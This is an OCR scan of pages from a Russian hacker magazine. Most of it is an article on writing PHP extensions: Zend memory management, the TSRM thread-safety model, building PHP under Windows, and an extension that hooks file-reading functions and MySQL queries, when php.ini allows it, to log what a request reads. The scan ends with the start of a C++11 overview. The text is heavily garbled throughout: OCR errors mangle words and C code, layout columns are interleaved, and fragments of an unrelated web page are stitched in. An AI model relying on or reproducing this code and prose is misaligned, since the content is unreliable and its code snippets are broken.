• http:Ublt.J y/

расширений . • gnuwjn32 sоuгсе ­

м.!:J:II:tct

В

• deyzone.zend.com/ article/1 021 -первая

• http:Ubi t.!y/nЗpnhK ­

несут ответственности

с исходником

nервая из серии

з а использование этой

лежит весь набор

статей, посвященны х

статьи в целях пере х вата

описанных в статье

реализации РНР·

mysql_connect.

инструментов .

классов в расширении .

и

config.w32.

conf ig.m4

П ервый - это п ор ц ия конфигурато р а д л я U NI Х - систем,

в т орой- дл я

Win dows. С

помощью э т их файло в скри п т configuгe

решает, включать или отключать расширение; если вк л юча т ь, то

какие исходные файлы компилировать и какие д ополнительные

флаги компилятора задавать и т. п . Не будем заостря т ь внимание на конфигурации, а если интересно- посмотри содержимое этих

файлов и содержимое

Makefile

nосле их применения.

ЖИЗНЕННЫЙ !:(ИКЛ Жизненный цикл модуля начинается с вызова процедуры

MIN IT. В

этот момент происходит выделение ресурсов для всего мо д уля, ини­

циализация глобальных переменных, ре г истра ц ия

ХАКЕР

IN I e n tгy

и т. д .

097

12 / 155/2 011

www.epidemz.net


_КОДИНГ Модуль загружается в двух случаях : при инициализации движка

Zend,

когда загружаются расширения, перечисленные в

при вызове функции

dl,

php.ini,

и

которая уже помечена как depгecated. После

получения запроса вызывается функция

RINIT.

Здесь нужно вы­

делять память и инициализировать переменные, которые должны

быть доступны только во время обработки запроса . После отработки с крипта вызывается

RSHUTDOWN . Логично, что в ней надо освобож­ дать ресурсы, выделенные в RINIT. В процессе завершения работы wеЬ-сервера Zend вызывает MSHUTDOWN . Все nросто. По анало­ гии с ООП в качестве конструктора/деструктора для всего модуля выступает MINIT/MSHUTDOWN, а отдельный запрос выполняетс я с помощью RINIT/RSHUTDOWN.

РАБОТА С ПАМЯТЬЮ Zend реализует в

Движок

Traditional

e:nal l oc( count)

calloc ( co unt 1

Persistent

Non-Persistent

mall oc (cou nt ) nu:n)

s t r dup(str)

pemall oc ( count , 1)

ecallo c (count . num)

pecall oc ( count . nu:n 1 1)

estrdup (s t r)

pes t r dup(s t r. l )

est rndu p(st r . l en)

pema ll oc () & memcpy()

free ( pt r)

ef ree ( ptr)

pefree ( pt r , l )

r eall oc( ptr , news; ze)

e r eall oc ( ptr. ne\\•s i ze)

st r ndup( st r

1

mall oc( count

l en)

t1:

num + ext r) s afe_emall oc (count , num. ext r)

perea ll oc ( pt r , news i ze . 1)

s afe_p emall oc ( count , num, ext r)

Таблица-памятка по работе с nамятью при написании расширения

виде подсистемы собственный менеджер

памяти со сборщиком мусора. На первый взгляд, это стандарт-

ные функции работы с памятью malloc/fгee/calloc / гealloc и т. п. , но только с какими-то префиксами !рис . 11. Zend оnределяет два типа памяти: Non-Peгsistent lпрефикс «e>>l и Peгsistent lпрефикс «pe>>J . Основное отличие между ними состоит в том , что Peгsistent

GnuWin G11u\1;i11 prO'ides portS oftools v.'ith а ~ or sЬ:nilaropc:n source kшs. to modc:m ~osoft \\ rtndo\\'S 2000 1 ХР / 2003 / ,rtШ J 2008 / 7)

AЬout

!п о стоянная память! не освобождается nосле з апроса, а NonPeгsis t ent освобождается. Так гласят публичные и с точники инфор­ мации, однако на самом деле на п у ти

MINIT-RINIT-RSHUTDOWNMSHUTDOWN сборщик мусора о с в о бождает память , выделенн у ю через emalloc, то есть если выделить через emallo c nамять в MINIT, то в RINIТ память будет уже недоступна или даже выделена под

другие ресурсы. Следовательно, Non-Peгsistent н у жно использо­ вать в контексте запроса , а Peгsistent- в контексте модуля. Не ре ­

к омендУется пользоваться стандартными malloc /f гee и возлагать

~S- \\,.odov.•$

News 1 Announcements

·-

Do\пalo:ad

· ~

• !idR

!1ш<

• fAQ

· ~

• 27 ~c:~201 0:~-4 .2 . 1 : str~am~di!:or:~\' rt:1~ase • 5 June 201 0: Ш-1А . 14: maao proc~ssor. 1\е\\' r~kast

• 11

F~Ьruary: lkНa:ol·l .5: 11e\\' Packas~

• 1 J&шary 2010: StJJrtioв v•itЬ 2010, pat:c:hes f~Жmakiog programs ruo on :МS - \\-iodo"•s 9х (95 / 98 . МЕ) and NT \\il not Ье updared; existing c:ode pat:ches ";и oot Ье rt::mO\-ed so lhat: ne"' rd eases of existitlg packa&es mtly still run on 9х and 1\ТТ, Ьut no new cluanges v.~ Ье madc. lfapackqe does not Nl. оп 9х or ~1. we JШ okter rdease.. • 7 June 2009: J..i2.2Da-1~3 7: liЬraty мd tools f~Ж PXG imqe's: бе"' rdease • 7 June 2009: ~-4 .2: stream editor. &. for bugs

Lioks

на движок функцию освобождения непостоянной nамяти.

П ОТОКОБЕЗОПАСНОСТЬ И ZТ Потоксвая безопасность или потокобезопасность-зто концеп­ ция, в рамках которой многоnоточный код выполняется коррек­ тно, при этом обесnечивая всем потокам доступ к разделяемым

&nuWiпЗ2- незаменимая вещь при сборке nод виндай софта, который некогда работал только под UNIX

ресурсам . РНР использует n отокобезопасную модель под на­

званием ZТS IZend Thгead -Safety l . Модель ZТS основана на TSRM

void * ~ storage; // адрес массива _указа т елей на ресурJ: Ы_ int count; // кол-во указателей в storage THREAD_T thread_id; }/ и дентифи к ато р потока tsrm_tls_entry *nex~; // указатель на следующую заnись

IThгead Safe Resouгce Managementl. Это подсистема ядра, которая обеспечивает потоковую безопасность при работе с глобальными

переменными !ресурсам ! , привязанными к конкретному запрос у. Со стороны модуля работа с файле подключается

MODULE_GLOBALS

и

TSRM выглядит так: в заголовочном TSRM.h, с nомощью макросов ZEND_BEGIN_ ZEND_END_MODULE_GLOBALS фиксируется

}; Массив tsгm _tls_taЫe не является в полной мере динамиче­

определение структуры ресурса, опре д еляется специальный

ским, то есть память под массив у казателей tsгm_tls_enty выделя­

макрос для быстрого доступа к полю ресурса, в исходном фай-

ется один раз и больше не перераспределяется.

ле !после подключения необходимых заголовков! вызывается макрос

ZEND_DECLARE_MODULE_GLOBALS, который объявляет идентификатор ресурса, а в функции MINIT вызывается ZEND_ INIT_MODULE_GLOBALS. Если посмотреть на определения этих

Массив гesouгce _types_taЫe , наоборот, динамически рас­

ширяется каждый раз, когда модуль !или код ядра! вызывает

ZEND_INIT_MODULE_GLOBALS, ts_allocate_id:

под которым скрывается вызов

макросов , то кое-что станет понятно . Н о самое сложное и интерес­ ное скрывается глубоко внутри РНР. В основе механизма потоковой безопасности лежат два дина­

мических массива tsгm_tls_taЫe и гesouгce_types _taЫe, а также загадочная переменная tsгm_ls. Вот их объявления:

static tsrm_tls_entry _**ts rm_tls_taQle;NULL; static tsrm_resource_type *resource_types_taЬle;NULL; void ***tsrm_ls; typedef struct { size_t size; j /_ра~мер ре с у рса ts_al1oca:te_c_tor ctor; j / инициали з атор р е сур са :t:s_allo_cate_dtor_dtor; JJ дес трукто р р есур с а int done; 1/з_а ко нчена л и ра бота с ,ресурсом tsrm_resourJ:e_type_;

#cjefine ДND_I['jiТ_MODULE_GLOBALS(mщlule_name, \ g1obals_ctor, globals_cj_tor ) \ ts_allocat~_id(&module__n_ame##_g;I,oi:Jals_id, \ sizeof (zend_##module_n_ame##_g:J,oba_l_s), _\ (ts_allocat~_ctor) globals_ctor, \ _(ts_<!l.lQC<!te_dtor) glob_als_dtor); TSRM_API _ts_r~rc_id ts_alloca:te_id(ts__ rsrc_id *rsrc_id, size_t size_, ts_allocate_ctor ctor, ts_all_ocate_dtor dtor); Пара метр гsгc_id- это адрес , куда записывается идентифика­ тор выделенного ресурса,

size-

необходимый размер памяти nод

ресурс, ctoг/dtoг- адреса функций инициализации/деструкции ресурса . В сtог-функции, кроме самой инициализации перемен­ ных, принято производить, например, копирование из глобального

struct _tsrm_tls_entry {

массива в локальный lпривязанный к конкретному запросу!.

ХАКЕР

098

www.epidemz.net

12/155/ 201 1


Расширяя горизонты РНР

Переменная tsгm _ ls хранит адрес поля stoгage текущего по­

тока. Она практически везде передается в качестве параметра

через макросы TSRMLS_C/TSRMLS_CC. Самое главное, что через эту переменную код получает доступ к локальному ресурсу потока.

Звучит страшно?

КОГДА ЗАВИСИМОСТЬ ЕСТЬ, НО ЕЕ Н Е ХОТЯТ

На самом деле все просто. Каждый элемент tsгm_tls_taЫe представляетсобой первыйэлемент односвязного списка. Раз­

меры t sгm_tls:_taЫe и гesouгce_types_taЫe задает t sгm_staгtup. Сразу после вызова tsгm _ staгtup

SAPI, вызывая SAPI получает

tsгm_ l s через ts_гesouгce_ex[O,NULLI:

Собирая однажды РНР под виндой, я был неприятно удивлен тем , что

РНР забраковал мой liЬiconv. Смутно при поминая, что действительно заменил некоторые пакеты , я скачал последнюю версию либьr , собрал под

MinGW

и скормил РНР. Ответ не изменился. Тогда я

обратился к провереннему бойцу. Не все знают, что пакет

TSRM_API void *ts_resourc~_ex( ts_rsrc_id id, THREAD_T *th_id);

содержит очень полезную утилиту

inc21.exe. Эта

MASM32

утилитка позволяет

на основе inс-файлов с оздавать валидньrе liЬ-файльr. Я создал

файл _liЬicoпv_veгsioп

Ф у нкция ts_гesouг c e _ e x ищет в tsгm _tls_taЫe экземпляр

PROTO

С [к слову, РНР р у галея на отс утс твие

tsгm _tls_entгy для потока, указанного в th_id [если указан NULL, то для текущего!. Если поиск ничего не дал , эта функция через

символа _ liЬicon v_v eгsion). Затем прогнал его через эту тулзу и .. .

allo c ate _ new_гesouгce выделяет новый э кземпляр tsгm_tls_entгy и

символов. Возьми этот nрием на заметк у.; )

РНР все скушал, хотя по ум у нужно было бы добавить еще несколько

запи с ывает его либо в начало односвязного списка, либо в конец, ис польз у я tsгm_t ls _e ntгy.next последнего элемента. А вот т у т и начина етс я магия

В al l ocate_new_гesouгce,

TSRM.

nомимо всего nрочего, с оздается мас с ив s t oгage под указатели . Под

Пристуn им. Для начала условимся , что все сказанное ниже от­

них заново выделяетс я nамять [если раб ота с ресурсом не закон­

носится к

чена! с размером tsгm_гesouгce_type . size, после чего вызывается инициализатор [ctoгl рес у рса. Таким о бразом , каждый nоток в TSRM

Первым делом nолучаем исходник и РНР [на момент наnиса­ ния статьи я работал с версией 5.3.81 и распаковываем в любую папку. Далее необходимо nолучить зави с имости [статические

работает со своими экземnлярами в с е х зарегистрированных ресур­

с ов. Поэтому [в теории! повредить ресурсы чужого nотока не сможет.

VS2008.

библиотеки и х идерьr, от которых зависит PHPI . Тьr можешь взять те , на которые ссылается официальное руководство [но только не пиши мне потом, если что-то не будет линковаться! , а я nойд у другим nутем. Тьr когда-нибудь слышал о проекте

GnuWin32 ? По

сути, это набор nортираванных под винду бинарников, библиотек

... сегодня

рас с матриваться не будут. И на то есть весомые nричины:

инф о рмация на эту тему есть в интернете, а журнал не резиновый. Про й дись

no

ссылкам , и ты все узнаешь. В крайнем случае загляни

и хидеров , которые смогут nомочь нам в компиляции как РНР,

так и других nроектов nод Windows [конечно , если разработчики nозаботились о такой возможности!. Установка GnuWin32 nроста ,

в ко д nримера [ищи на диске!- там есть nодробные комментарии.

но не совсем тривиальна. После отработки и неталлера выnолни

О бсудим лучше комnиляцию РНР под

следующие действия:

Сборка РНР под

Linux- одно

Windows.

удовольствие, так как она не

требует каких-либо дополнительны х телодвижений. Совсем другое дело- комnиляция РНР nод

Windows.

Один мой знакомый nро­

граммист несколько лет назад даже заявил , что никогда не слышал

cd E:\gnuwiп32\GetGnuWin32 download.bat install E: \gnuwin32

о сборке чего бы то ни было nод виндой. Не з ависимо от того, как ты будешь компилировать свое рас­

Чтобы собрать РНР как модуль

Apache, н у и

не забыть о ба з е дан­

nmake и шаблона Makefile или с исnользованием удобной Visual Studio- тебе обязательно по­ требуется nолучить php5ts.lib для линковки расширения с этой

ньrх, возьми из установочных директорий индейца и MySQL-nanки

библиотекой. Ты , конечно , можешь взять библиотеку из бинарной

Studio.

сборки nод

тем с криnт configuгe , а nосле

ширение: с nомощью команды

Windows, а

и

lib

include и nоложи их , наnример, в E:\dep. Теnерь есть все что нужно. Запускай командную строку

хидеры вырвать из исходников, но таков ли

Пере х оди в паnку с исходниками РНР. Запускай

Visual builconf, за­

nmake:

nуть настоящего джедая ? Предлагаю забить болт на официальные рекомендации с сайта

РНР [ goo . gi/Пgta i . В свое время я изрядно намучился, следуя у казаниям этих доков. Возможно, вся nроблема была в старенькой

VS2003,

но винить ее я не хочу.

E:\php-5 . 3.8>buildconf E: \php-5.3.8>conngure --with-extra-libs=E:\dep\apache \ lib;E:\dep\mysql\lib;E:\gnuwin32\lib --with-extra-includes =E : \dep\apache \ include;E:\dep\mysql\include;E:\gnuwin32\ include --with-mysql=shared --with-mysqli=shared --епаЫе-рdо --with-pdo-mysql --with-pdo-sqlite=shared --enaЬle-mbstring=shared --with-curl=shared --enaЫe-apache2-2handler

КОГДА НЕТ НУЖНЫХ ЗАВИСИМОСТЕЙ

E:\php-5.3.8>nmake

Многие расширения требуют зависимости, которых нет в

nапке

--enaЫe-apache2-2nlter

Если все сделано nравильно, через некоторое время у тебя в

GnuWin32.

Release_TS nоявится модуль Апача, ядро php5ts.dll, ин­ php.exe и несколько модулей. Поздравляю, работа

Можно nоискать и х на официальном сайте [некоторые библиотеки

терnретатор

имеют Win-версию). Можно nопытаться нагуглить портираванную

сделана!

версию. А можно обратить свой взор на

MinGW.

Это фор к небезыз­

вестного Cygwin, заточенный под девелоперские цели . Грубо говоря , MinGW позволит тебе nолучить портираванн у ю версию библиотеки с помощью nривычны х ./configuгe && make && make iпstall.

ИЮ В СТУДИЮ Для того чтобы собрать расширение в выбирай

ХАКЕР

Visual Studio, nроект необходи­ File-7New -?Pгoject,

мо nравильно настроить . Заnускай студию , жми

Makefile

Pгoject , указывай местоnоложение и название

099

12/155/2 011

www.epidemz.net


. кодинг

проекта и клацай по ОК. В свойствах проекта на закладке Geneгal

указывай Dynamic LiЬгагу i.dll) для Configuгation Туре. На закладке C/C++/Geneгal в Additionallnclude Diгectoгies добавляй следующие директории (не забывая корректировать пути): G:\www\php-5.3.8;

G:\www\php-5.3.8\main\; G:\www\php-5.3.8\TSRM\; G:\www\ php5.3.8\Zend\. В Linkeг/Geneгal для Additional LiЬгагу Diгectoгies ука­ зывай G:\www\php-5 .3.8\Release_TS . А в Linkeг/lnput для Additional Dependen"cies прописывай php5ts.lib. Зависимости проnисаны .

s~riг.Q(64)

"m.ysql.1_query J 5tLtCТ

module,perm1ss

"ruysql1_query j SEL!:CТ

FROМ

perm.1ss W]'!.tiU: rul e_id•lO"

( З)•>

Теnерь необходимо указать определения препроце·ссора (С/С++/

•crin;(S7 )

Ргергосеssог

sr.rinq (i l ) "f1le_;et._c:onr.e:nt.s 1r.e:Jфla'te / sys/ foor.er. tpl"

-7

Ргергосеssог Definitions) :

l'RO.Ч.

::;:les

WМE.Rt

Ьу

1 order

r ule_id'"

[ t ] •>

(SJ•> s trino ( 41) "tile_; e r._conr.e nt.s 1templat.e/ s ya/ heade r. t.pl" [ 6) • > -'triг.q(Sl ) "mysql1_query j StL!CТ r.exr. FROМ t.e: xt.s WН.ERt r.exr._ id• l •

ZEND_WIN32=1 PHP_WIN32=1 WI!'J32=1 ZE!'JD_DEBJJG=B ZTS=l COMPILE_DL_XHOOKER=l

[ 7 ) •>

lt.ri nQ' 14~) "file_;et_contents l template / mainpa;e/ raainpa;e. tpl" [8 ) • >

st.rinQ (4 1) "flle_oer._c:ont e nts 1ternplate: / blk/ mcdule, t.pl 10 [ 9 ) •>

(42)

s~rin;

" flle_;e~_content.s 1~empla~e /m.od/default. .

tpl"

[ 10) •>

st:r1n; (4-\) "f1le:_;at_con.t•nts 1tt~:rnpl&t• t usa:t/b_\J:n&uth. tpl" [ 11 ) • >

Первые три определения указывают, что расширение компи­

лируется под Windows. Но это ты и без меня понял .; ) А вот что на самом деле важно: от первых трех определений зависит, какие

stt·in; (40 ) "!1le_;et _conter.ts 1template / blk/ ernpty . tpl" [12 ) •> str1n;(69) "mysql1_que :ry( S!:U:C! .. rRO.Ч news WKER!: 1 o:rder

Ьу

adddate desc 11mit 1"

( 13 ) •>

strin; (42) "f1.la_;at_contants 1t ampl ata/ naws/ b_la at, tpl" { 14 ) •> strin; (40) 10 file_;et_cont.e.nts 1tettфl&te / blk/ erapty. t.Pl " [1 5)•>

конфигурационные заголовочные файлы подключаются при ком­

пиляции , откуда они берутся, какие структуры используются и т. п.

ZEND_DEBUG

определяет, компилируется ли отладочное рас­

Бесценные данные, бережно сохраненные нашим модулем

ширение (для получения отладочной информации и линковки используется не php5ts.lib, а php5ts_debug.liЬ). ZТS определяет, используется ли ZТS (скомпилирован ли РНР Safe или Non Thгead Safe).

как Thгead

От определений

ZEND_DEBUG

На этом предварительные приготовления заканчиваются. Мо ж­ но приступать к написанию нашего первого экстеншена.

и ZТS зависит размер некоторых

важных структур, и если ты где-то здесь ошибешься, то при загруз­ ке расширения интерnретатором или в процессеработы рано или

ПИШЕМ ХАКЕРСКОЕ РАСШИРЕНИЕ Давай для примера напишем что-нибудь полезное, не слишком

поздно вылезет окошко с ошибкой: «Бла-бла-бла .... обратилась к

простое , но всё-таки с хакерским уклоном. Н екотор ые

тра-ля-ля. Память не может быть геаd» . Ну, ты наверняка хоть раз

такое количество скриптов, что поро й сл о жно разобраться, какие

его видел.

файлы инклудятся и считываются при запросе по опре деленному

COMPILE_DL_XHOOKER,

в сущности, не является обяза­

URL.

CMS

имеют

А ведь эта информация необходима , чтобы понять, как

CMS

тельным определением . На самом деле подобное определение

формирует вывод. Если для подключенных файлов сущес твует

создает скрипт configuгe, если указано, что расширение необ­

замечательная функция

хо димо ско мпилировать как динамически загружаемое

файлов аналога этой функции, увы, не пред усмо трен о. Хорошо, что

1--with-

get_included_files,

то для прочитанных

extension=shaгed). При этом часть XHOOKER представляет собой

у нас есть голова на плеча х, а у тебя журнал. Чтобы наше расши­

имя расширения .

рение можно было считать хакерским, будем перехватывать в нем вызовы

fopen,

file_get_coпtents,

file

и гeadfile. А, черт с ним! Давай

еще и МуSQL-запросы захукаем. Определим фронт работ. П ус ть указанные функции будут пере­ хватываться, если пользователь дал на это разрешение, а нако­

ПОЧЕМУ НЕ СОБИРАЕТСЯ ИЛИ НЕ РАБОТАЕТ?

пленная информация- автоматически выводиться в браузер по­

сле окончания запроса (реализуем зто через настройки в php.ini) . Получить доступ к этой информации можно будет через функцию

(назовем её неброско : get_гeaded_files) и через суперглобальную

переменную (например, $_READED_FILES). Ограничим настрой­ Если ты уверен, что дело не в зависимостях, тогда главная причина

ку разрешения на перехват только пределами php.iпi (то есть

кроется в старом компиляторе. Обнови студию. Главная проблема,

сделаем так, чтобы через

связанная со старыми студиями, заключается в том, что функция

было нельзя) .

sсап в файле paгse_date . c состоит более чем из

[!),поэтому перед ней надо поставить

21 тысячи строк кода #pragma optimize ("", off ).

ini_set

или через

.htaccess

изменить ее

Как будем хукать? Каждая функция в РНР на языке Си имеет оди­

наковый прототип, что существенно упрощает дело. Выглядит он так:

Однажды мне пришлось добавлять в исходный файл определение макроса, которого исходный код не мог найти, хотя сам же на него

и ссылался [в итоге макрос нашелся контекстным поиском в другом

исходнике). Один раз после запуска

Apache мне начали сыпаться

voict. zj, f _FЧN~NAМ~_(iпt_. h1;, _ zva_ l *returп_v<;~lue, zval **returп_value_ptr, zval *this_ptr, int returп_value_used TSRMLS_DC)

странные сообщения о том, что скомпилированные РНР-модули не могут быть загружены. При детальном рассмотрении оказалось,

MSVCR90.dll, прописанную в импорте [это повергло меня в шок, ведь РЕ Tools показывал эту библиотеку

Но его обычно скрывают с nомощью более простого макроса:

что загрузчик не мог найти

PH~_FUNCTION(FUNCNAМE)

в контексте индейца!. Оказалось, что у модулей отсутствует необходимый манифест в директории ресурсов. Поиски привели к

Итак, все, что нужно сделать,- это оnределить указатели на

тому, что МТ. ЕХЕ [утилита из студии, работающая с манифестами!

оригинальные функции, найти их, сохранить и заменить своими

отказалась работать с сетевым диском.

версиями (все как в букваре у первоклашек). Самое сложное, что сходу даже не представляешь , где нужно искать. Ты еще помнишь

ХАКЕР

100

www.epidemz.net

12 / 155/2 011


Расширяя горизонты РНР

phpmfo()

~

Opera

data->internal_function.handler

hacked_file;

Таким образом осуществляем перехват всех функций. Полный

X-Hooker v.0.1

код с подробными комментариями ищи на диске [и не забудь проi1-

:и:!

x.LOGO

.......,._

Local-

Dlnм:llve xhooker.enaЬie

1

1

xhooker.nush on_shutdown_request

о

о

xhooker.pronling

о

о

ти по ссылкам, чтобы получить вводную информацию о программи­

ровании расширений]. А мы пока рассмотрим несколько интерес­ ных приемов, которые использованы в коде.

Вызов другой функции или создание

zval* argv[ l ]; zval* func; zval * Г'etval .=. NULL;

callback :

__ _

MAKE_STD_ZVAL(retval); argv[ e] = X_H_G(_my_readed_files); MAKE_STD_ZVAL ( func); __

xml

ZVAL_STRING(func, "var_dump" , е ); call_user_function(EG(function_taЫe),

NULL, func, retval, 1, argv TSRMLS_CC);

(Е)

~

dt

Если накопленную информацию требуется скидывать в момент

V~t:w ( 100%)

завершения запроса, я использую стандартную функцию РНР

Sara Golemon даже наnисала книгу о nрограммировании

vaг_dump[] . Таким способом в своем расширении ты можешь при­

расширений

нять строкавый параметр названия функции, а при возникновении

события осуществить то, что читал про

ZTS

и глобальные ресурсы? Если нет- перечи­

callback.

Кроме параметров call_useг_fuпctioп,

обсуждать здесь вроде больше нечего. Это следующие параметры:

массив function_taЬie, адрес указателя на объект [обычно NULL], имя

тай, я подожду. Так вот, движок РНР глубоко в закромах хранит список всех

функций, классов, переменных и много других вкусностей, но

функции, возвращаемое значение, количество аргументов, массив с аргументами .

сам работает с локальной копией этих таблиц- разделяемыми ресурсами. << Честным>> путем до оригинала не добраться, но это

Для создания суперглобальных переменных поступаем следую­ щим образом. В

MINIT

расширения пишем:

не очень-то и нужно, ведь сам движок работает только с копиями,

что нам только на руку. Интересующая нас информация хранится в разделяемом ресурсе executoг_globals, для доступа к которому

используется макрос

EG.

zend_register_auto_global( "_READED_FILEs:·, sizeof t "_READED_FILES" )- l ,NULL TSRMLS_CC);

Этот экземпляр структуры содержит ука­

затель на РНР-массив [HashTaЬie*]. В самом массиве содержатся указатели на экземпляры zeпd_fuпctioп_eпtгy, которые кроме

Это простая регистрация перемен ной,

переменной

_READED_FILESI$_READED_FILES]. В RINIT модуля nишем:

имя

информации о принимаемых аргументах содержат имя и адрес обработчика функции.

arr_hash =

ZEND_SET_G_LOBДL_VAR( "_READED_FILES" , XH_G(_my_readed_files));

EG(function_taЫe);

Так мы связываем нашу суперглобальную, но пока абстрактную

for (zend_hash_internal_pointer_reset_ex( arr_hash, &pointer); zend_hash_get_current_data_ex(arr_hash, ( void **) &data, &pointer) == SUCCESS; zend_hash_move_forward_ex(arr_hash, &pointer))

переменную с конкретными данными.

Суперглобальная переменная- это всего лишь переменная .

Если пользователь удалит ее через, например,

READED_FILES' ]), то

unset($GLOBALS( '_

следующий вызов одной из nерехватываемых

функций обрушит Апач к чертям собачьим. Поэтому при добавлении перехваченной информации к массиву

{

if (! strcmp( "file" , data->internal_function.function_name))

приходится проверять, содержится ли наша переменная в массиве

символов

EG [symbol_taЫe]. Я сделал так, чтобы nользователь мог

удалить эту nеременную [в конце концов, это его право], но тогда он

original_file = data->internal_function.handler;

сам будет виноват в том, что не получит достуn к информации даже

через get_гeaded_filesll. Для эксклюзивного доступа к массиву функций во время уста­

новки хуков я использовал мьютексы, предоставляемые

ИНТЕРЕСУЮЩАЯ НАС ИНФОРМАЦИЯ ХРАНИТСЯ В РАЗДЕЛЯЕМОМ РЕСУРСЕ

EXECUTOR_GLOBALS ХАКЕР

TSRM.

НА ЭТОМ МОЖНО ЗАКОНЧИТ!:) Сегодня мы познакомились с программированием расширений для РНР. Разобрались в устройстве потокобезопасной модели движка .

Узнали несколько хитростей, которые обычно нигде не обсуждают­ ся. Наконец, написали полезное РНР-расширение . Мне остается nожелать тебе удачи на этом поприще и понадеяться, что о

SAPI

будет подробно наnисано в следующей статье. Адью. ::Х::

101

12/155/2011

www.epidemz.net


_КОДИНГ

Дима Ocмaкoв lbumshmyakГclyandex.гul

'-"

овь1и станда С++11: ОБЗОР

НОВЕЙШЕГО

СТАНДАРТА ЯЗЫКА С++

Пресс-релиз

стандарта: !!i1JyL

ill!jX. •

Последняя

доступная версия черновика

Десятого октября

2011

года Международная организация по стандар­

тизации 150 опубликовала очередной стандарт для языка С++ [150/IEC 14882:20111. Он получил неофициальное название Сн11. Предыдущая версиястандартадатирована2003годом.Завосемьлетнакопилась огромное количество предложений по улучшению как самого языка,

стандарта: !!i1JyL

так и стандартной библиотеки. В

!IR.I!f.Sx.

была зафиксирована в «техническом докладе>>

FдО о С++11 от

Бьёрна Страуструnа :

Ьit.ly/1qNDCk .

if

2007

году часть эти х предложений

TR1,

но так как он

представлял собой просто расширение, а не полноценный стандарт, то его не обязаны были поддерживать все компиляторы.

При разработке нового стандарта

150

в основном руководство­

валась следующими соображениями: необходимо было оставить

В новом стандарте языка

• Обзор С++11 от Danny Kalev: !!i1JyL

С++ языком системного программирования, чтобы «не платить за

С++ появилось множество

тШШ.

то, что не используется>>; требовалось сдела ть С++ более простым для понимания и изучения. Ч асть нововведений позволяет сделать

интересных возможностей,

код более простым и единообразным . К ним относятся единообраз­ ная инициализация и лямбда-функции, а также многочисленные

которые помогают сделать

код более простым и

Рабочая версия

эффективным. В этой

название

статье я хочу рассмотреть некоторых из них.

стандарта носила

C++Dx, так

как его планировали

ввести до

2010

года. Автор С++

Бьёрн Страуструn nредлагает считать х wестнадцатеричным

числом .

улучшения, связанные с проектированием классов и метапрограм­

мированием. Другие изменения касаются повышения производи­

тельности пр о грам м, это главным образом гvalue геfегепсеs (move semaпticsl и сопstехрг. Стандартная библиотека также пополни­ лась множеством инструментов, которые расширяют функциональ­ ность языка. В их число входят поддержка многопоточного про­

граммирования (thгeadsl, регулярные выражения (гegexl, кортежи

(tuplesi, новые алгоритмы и контейнеры. Изменений очень много, и чтобы охватить их все, придется прочитать сам ста нд арт (послед ­ ний доступный черновик содержит 1320 страниц!. В этой статье я планирую осветить лишь некоторые из них.

Как компиляторы реализуют стандарт? Винтернете можно найти сводную таблицу уже реализованных фи чей из нового стандарта

( httgs:l/wiki.agache . oгg/stdcxx/C % 2B % 2BOxComp il eг5uppoгt l. В таблице

ХАКЕР

102

www.epidemz.net

12/1 55/ 2011


Новый стандарт

ниже nриведена информация о том, какие комnиляторы nоддержива­ Проверим , nравильно ли работают рассмотренные фичи :

ют фичи, рас смат риваемые в этой статье. На данный момент стандарт наиболее полно реализован в nослед­ них версиях комnилятора

GCC 4.6.1

именно поэтому именно я использовал

GCC,

#include <type_t_raits>

для иллюстрации своих примеров. Для того чтобы включить

поддержку Сн11, компилятору нужно передать опцию

-std=c++Ox.

Итак, давай П?энакомимся с некоторыми новыми возможностями .

АВТОМАТИЧЕСКИЙ ВЫВОД ТИПА Если при объявлении переменной ты сразу же ее инициализируешь, то

auto )\ =_ 42; _ static_assert(std:: is_same<deClt}'pe(x), __i_nt >: :vi!l_ue_, "42 is not int" ); static_assert(! std : : is_same<decltype (x), цnsigned iпt > _:: value, "42 is unsigned Jnt" );

тип переменной указывать не обязательно. В этом случае вместо типа можно указать ключевое слово

auto,

В этом примере мы использовали конструкцию

и

SecondType>: :value,

std::is_

компилятор создаст переменную того же тиnа, что и инициализирую­

same<Firstтype,

которая проверяет равенство

щее выражение. Наnример:

дв ух типов. Это nроцедура иэ хедера type_tгaits, который после

auto х = 42; JJ iпt auto pi = 3.~4 ; // douЫe auto ~ = 'х' ; 11 cha r auto str = striпg( "ххх_" ); 11 string

ловочные файлы type_tгaits дают возможность получать и изменять

ввода нового стандарта стал частью стандартной библиотеки. Заго­ некоторыесвойстватиnоввовремякомпиляции.

Вообще, различных проверок и модификаторов типов в type_tгaits довольно много, nриведу некоторые из них , чтобы можно было понять, о чем идет речь:

Важно отметить, что типизация в С++11, как и nрежде, статическая,

то есть тиn переменной определяется раз и навсегда в момент ее объ­ явления. Использование

auto

nросто уnрощает объявление перемен­

ной. Это особенно удобно, когда нужно создать переменную какого­ нибудь сложного типа с длинным названием. Например, вместо

template template template template

<class <class <class <class

Т> Т> Т> Т>

struct struct struct struct

is_pointer; is_const_; add_const; remove_reference;

vectorcstring>::iterator start = hostsobegin(); Статические массивы и экземпляры простых РОD-типов можно было без тр уда инициализировать еще во времена Си.

можно наnи сать

auto start = hostsobegin(); Также

auto сильно

int

помогает в случае, если тиn nеременной должен

каким-то хитрым образом зависеть от параметров шаблона. Рассмо­

трим такую шаблонную функцию:

а[] =

{ l , 2> 3};

struct person con_st char * name; iлt '!ge;_ } j

t~mplate .. <cl<!s_ s _First_Type,

Secon_<:ITYRe> __ void ShowMadSkЦ_ls ( First"(ype first, SecondTxpe _sgcond_) { auto third = first + second; 11 о о о

struct Person person = { "John Doe" , 42}; С другой стороны, чтобы как-то заполнить контейнер из ходилось nисать длинные серии

push_back

STL,

при­

или inseгt. В С++ 11 этой

проблеме нашлось элегантное решение в виде сnисков инициализа­ При инстанцировании этой шаблонной функции у компилятора будет вся информация о типах fiгst и

second,

nоэтому он сможет пра­

ции linitializeг

lists]. Теперь и стандартные контейнеры можно запол­

нять естественным образом, а именно :

вильно оnределить тиn для thiгd.

DECLTYPE И STATIC_ASSERli Рассмотрим еще несколько nростых, но nолезных нововведений, ка­

сающихся работы с типами. Оnератор decltypelexpгession] nринимает

vector< int > а = { l , _2, 3}; map<string, in_t > persons {{ "John Doe" , 42}, { "Bugs Bunny" , 71 } }_;

на вход выражение и возвращает его тиn. Наnример:

Как это работает ? В стандартной библиотеке nоявился класс

с писка инициализации lstd: : initializeг_list], который, по сути, является

auto х = 2; JJ int auto у = 2of'! ) j double decltype (x + у) z; 11 dou_Ьle

оберткой вокруг массива фиксированной длины. Компилятор преоб­

разует { ... }в этот класс, а у всех стандартных контейнеров теnерь есть конструктор, который строит объект из сnиска инициализации.

